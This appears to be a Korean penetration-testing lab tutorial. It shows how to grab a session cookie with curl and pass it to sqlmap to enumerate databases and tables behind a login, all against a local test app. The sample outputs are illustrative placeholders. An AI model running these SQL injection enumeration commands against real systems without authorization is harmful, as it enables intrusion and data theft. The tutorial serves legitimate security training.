소개
웹 애플리케이션 침투 테스트에서 사용자 인증이 필요한 영역에는 많은 취약점이 존재합니다. sqlmap과 같은 도구는 SQL 인젝션 취약점을 탐지하고 악용하는 과정을 자동화하는 강력한 오픈 소스 침투 테스트 도구로, 이러한 보호된 섹션에 접근할 방법이 필요합니다. 이 랩에서는 세션 쿠키를 사용하여 인증된 스캔을 수행하는 과정을 sqlmap과 함께 안내합니다. 브라우저에서 세션 쿠키를 추출한 다음, 이를 사용하여 스캔 중에 인증된 세션을 유지하도록 sqlmap에 지시하는 방법을 배우게 됩니다. 이 기법은 최신 웹 애플리케이션의 포괄적인 보안 평가에 매우 중요합니다.
대상 웹 애플리케이션 로그인
이 단계에서는 대상 웹 애플리케이션에 로그인하는 것을 시뮬레이션합니다. 이 랩에서는 인증이 필요한 웹 애플리케이션이 로컬에서 실행 중이라고 가정합니다. curl을 사용하여 로그인 요청을 시뮬레이션하고 세션 쿠키를 얻게 됩니다. 실제 시나리오에서는 일반적으로 웹 브라우저를 통해 로그인합니다.
먼저, 가상의 애플리케이션에 성공적으로 로그인하는 것을 시뮬레이션해 보겠습니다. curl을 사용하여 더미 자격 증명을 포함한 POST 요청을 보낼 것입니다. 로그인이 성공하면 서버의 응답에 Set-Cookie 헤더가 포함됩니다.
curl -c cookiejar.txt -X POST -d "username=admin&password=password" http://localhost:8080/login
-c cookiejar.txt 옵션은 curl에게 수신된 모든 쿠키를 cookiejar.txt라는 파일에 쓰도록 지시합니다. 이 명령을 실행한 후, 현재 디렉토리 (~/project) 에 cookiejar.txt라는 파일이 생성되어야 합니다.
이제 cookiejar.txt 파일의 내용을 확인하여 세션 쿠키를 살펴보겠습니다.
cat cookiejar.txt
세션 쿠키 정보가 포함된 다음과 유사한 출력을 볼 수 있습니다.
## Netscape HTTP Cookie File
## http://curl.haxx.se/docs/cookiejar.html
## This file was generated by curl! Edit at your own risk.
localhost FALSE / FALSE 0 PHPSESSID a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
여기서 중요한 부분은 PHPSESSID 값 (예: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6) 입니다. 이것이 바로 세션 쿠키입니다.
브라우저에서 세션 쿠키 문자열 추출하기
이 단계에서는 세션 쿠키 문자열을 수동으로 추출하는 방법을 배우게 됩니다. 이전 단계에서 curl이 자동으로 cookiejar.txt에 저장했지만, 웹 브라우저를 통해 로그인하는 실제 시나리오에서는 수동으로 추출하는 방법을 이해하는 것이 중요합니다.
cookiejar.txt 파일에서 실제 쿠키 문자열을 식별해야 합니다. 예시에서는 PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6입니다.
grep과 awk를 사용하여 cookiejar.txt 파일에서 쿠키 값만 추출할 수 있습니다.
grep "PHPSESSID" cookiejar.txt | awk '{print $6"="$7}'
이 명령은 쿠키 문자열만 출력합니다. 예를 들면 다음과 같습니다.
PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
이것이 --cookie 플래그를 사용하여 sqlmap에 제공할 문자열입니다. 다음 단계에서 필요하므로 이 문자열을 복사하십시오.
--cookie 플래그를 사용하여 세션 쿠키 제공하기
세션 쿠키를 추출했으므로, 이를 sqlmap과 함께 사용하여 인증된 스캔을 수행할 수 있습니다. sqlmap의 --cookie 플래그를 사용하면 HTTP 쿠키 헤더 값을 지정할 수 있습니다.
이 랩에서는 http://localhost:8080/authenticated_page.php?id=1에 취약한 페이지가 있다고 가정합니다. 이 페이지는 접근을 위해 PHPSESSID 쿠키가 존재해야 합니다.
YOUR_COOKIE_STRING을 이전 단계에서 추출한 실제 쿠키 문자열 (예: PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6) 로 바꾸십시오.
sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --batch --forms --level=1 --risk=1
sqlmap 명령을 자세히 살펴보겠습니다.
-u "http://localhost:8080/authenticated_page.php?id=1": 대상 URL 을 지정합니다.--cookie="YOUR_COOKIE_STRING":sqlmap에 세션 쿠키를 제공합니다. 이것이 인증된 스캔에 중요한 부분입니다.--batch:sqlmap을 비대화형 모드로 실행하여 기본 선택 사항을 수락합니다.--forms: 대상 URL 의 폼을 파싱하고 테스트하도록sqlmap에 지시합니다.--level=1 --risk=1: 탐지 수준과 위험을 설정합니다. 빠른 테스트의 경우 수준 1 과 위험 1 로 충분합니다.
명령을 실행하십시오. sqlmap은 지정된 URL 을 스캔하기 시작하며, 제공된 쿠키를 사용하여 인증된 세션을 유지합니다.
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |___|
|_|___|
sqlmap/1.6.12#stable (identifying back-end DBMS)
[!] legal disclaimer: sqlmap is provided 'as is', without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.
[!] you are running an outdated version of sqlmap. The '1.6.12#stable' is the latest stable version
[!] to disable this notification set 'allow_update_check' option to 'False' in your sqlmap configuration file (sqlmap.conf)
[00:00:00] [INFO] starting @00:00:00
... (sqlmap output will vary based on target and findings) ...
[00:00:XX] [INFO] fetched data: 'id=1'
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] closing @00:00:XX
출력에는 sqlmap의 진행 상황과 발견된 내용이 표시됩니다. 인증 관련 오류 없이 스캔이 진행된다면, sqlmap이 쿠키를 성공적으로 사용했음을 나타냅니다.
인증이 필요한 페이지에 대한 스캔 실행하기
이 단계에서는 인증이 필요하고 취약할 수 있는 페이지를 구체적으로 대상으로 sqlmap 명령을 개선합니다. sqlmap의 동작을 관찰하기 위해 약간 더 상세한 출력을 사용하겠습니다.
authenticated_page.php가 id 매개변수를 통해 SQL 삽입에 취약하다고 가정해 보겠습니다. --dbs 플래그를 사용하여 데이터베이스를 열거하려고 시도할 것입니다. 이는 SQL 삽입 공격에서 일반적인 첫 번째 단계입니다.
다시 한번, YOUR_COOKIE_STRING을 실제 세션 쿠키로 바꾸십시오.
sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1
--dbs 플래그는 데이터베이스 이름을 열거하려고 시도합니다. sqlmap이 쿠키를 성공적으로 사용하면 페이지에 접근하여 데이터베이스 열거를 진행할 수 있어야 합니다.
출력을 관찰하십시오. sqlmap이 데이터베이스를 찾았다고 보고하면 (예: information_schema, mysql, testdb), 인증된 스캔이 성공했음을 확인하는 것입니다. "취약한 매개변수를 찾을 수 없음" 또는 "페이지에 접근할 수 없음"과 같은 메시지가 표시되면 쿠키 또는 대상 URL 에 문제가 있을 수 있습니다.
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |___|
|_|___|
sqlmap/1.6.12#stable (identifying back-end DBMS)
... (initial checks) ...
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb
[00:00:XX] [INFO] closing @00:00:XX
출력에 데이터베이스 이름이 표시되는 것은 sqlmap이 인증된 페이지에 접근하여 삽입 테스트를 수행할 수 있었음을 확인시켜 줍니다.
스캔이 인증된 사용자로 실행되는지 확인하기
이 마지막 단계에서는 sqlmap의 동작과 잠재적 발견 사항을 관찰하여 sqlmap이 실제로 인증된 사용자로 작동하는지 확인할 것입니다. 주요 지표는 sqlmap이 로그인 후에만 볼 수 있는 페이지의 매개변수에 접근하고 테스트할 수 있는지 여부입니다.
이전 단계에서 sqlmap이 데이터베이스를 성공적으로 열거했다면, 이는 강력한 확인입니다. 이를 더욱 확실히 하기 위해 발견된 데이터베이스 중 하나, 예를 들어 testdb에서 데이터를 덤프해 볼 수 있습니다.
YOUR_COOKIE_STRING을 실제 세션 쿠키로 바꾸십시오.
sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" -D testdb --tables --batch --forms --level=1 --risk=1
여기서 -D testdb는 대상 데이터베이스를 지정하고, --tables는 해당 데이터베이스 내의 테이블을 열거하려고 시도합니다. sqlmap이 testdb의 테이블을 나열할 수 있다면, 이는 보호된 영역 내에서 작동하고 있음을 확실하게 증명합니다.
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |___|
|_|___|
sqlmap/1.6.12#stable (identifying back-end DBMS)
... (initial checks) ...
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching tables for database 'testdb'
[00:00:XX] [INFO] retrieved table names for database 'testdb': ['users', 'products']
Database: testdb
[2 tables]
+----------+
| products |
| users |
+----------+
[00:00:XX] [INFO] closing @00:00:XX
testdb 데이터베이스 아래의 테이블 이름 (예: users, products) 을 보여주는 출력은 sqlmap이 인증된 세션을 성공적으로 유지했으며 애플리케이션의 보호된 영역 내에서 더 깊은 열거를 수행할 수 있었음을 확인시켜 줍니다. 이는 인증된 스캔에 쿠키를 사용하는 것의 효과를 보여줍니다.
요약
이 실습에서는 세션 쿠키를 활용하여 sqlmap으로 인증된 스캔을 수행하는 방법을 성공적으로 학습했습니다. 웹 애플리케이션에 로그인하는 것을 시뮬레이션하고 세션 쿠키를 추출하는 것으로 시작했습니다. 그런 다음 sqlmap에서 --cookie 플래그를 사용하여 이 쿠키를 제공함으로써 인증이 필요한 페이지에 도구로 접근하고 스캔할 수 있도록 했습니다. 마지막으로, sqlmap이 애플리케이션의 보호된 영역 내에서 데이터베이스와 테이블을 열거하는 능력을 관찰함으로써 인증된 스캔의 성공을 확인했습니다. 이 기술은 많은 기능이 로그인 뒤에 있는 현대 웹 애플리케이션의 포괄적인 보안 평가를 수행하는 데 필수적입니다.


